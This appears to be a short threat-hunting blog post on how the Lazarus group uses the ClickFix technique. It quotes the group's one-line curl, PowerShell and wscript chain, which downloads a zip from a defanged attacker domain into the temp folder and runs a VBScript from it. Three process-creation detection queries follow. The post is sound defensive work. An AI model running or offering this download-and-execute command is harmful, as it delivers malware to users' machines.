241. That's How Lazarus Adopted ClickFix and How to Hunt It

Hello everyone!

ClickFix technique becomes more and more popular, and is now a part of arsenal of even state-sponsored adversaries. Today we'll look at how Lazarus (or Lazer Werewolf) leverages this technique, and extract hunting opportunities.

So, the adversary used the following command:

curl -k -o "%TEMP%\nvidiaRelease.zip" hXXps://driverservices[.]store/visiodrive/nvidiaRelease.zip && powershell -Command "Expand-Archive -Force -Path '%TEMP%\nvidiaRelease.zip' -DestinationPath '%TEMP%\nvidiaRelease'" && wscript "%TEMP%\nvidiaRelease\run.vbs"

Here we have at least three hunting opportunities. The first one, using cURL to download a file to a temp folder. I included the arguments used by the threat actors (-k ignores SSL certificate errors; -o specifies output file path):

event_type: "processcreatewin"

AND

proc_file_path: "curl.exe"

AND

cmdline: ("k" AND "o" AND "temp")

The next one, using PowerShell to extract an archive to a temp folder:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: ("expand-archive" AND "temp")

And finally, using wscript.exe to execute a malicious script from a temp folder:

event_type: "processcreatewin"

AND

proc_file_path: "wscript.exe"

AND

cmdline: "temp"

See you tomorrow!

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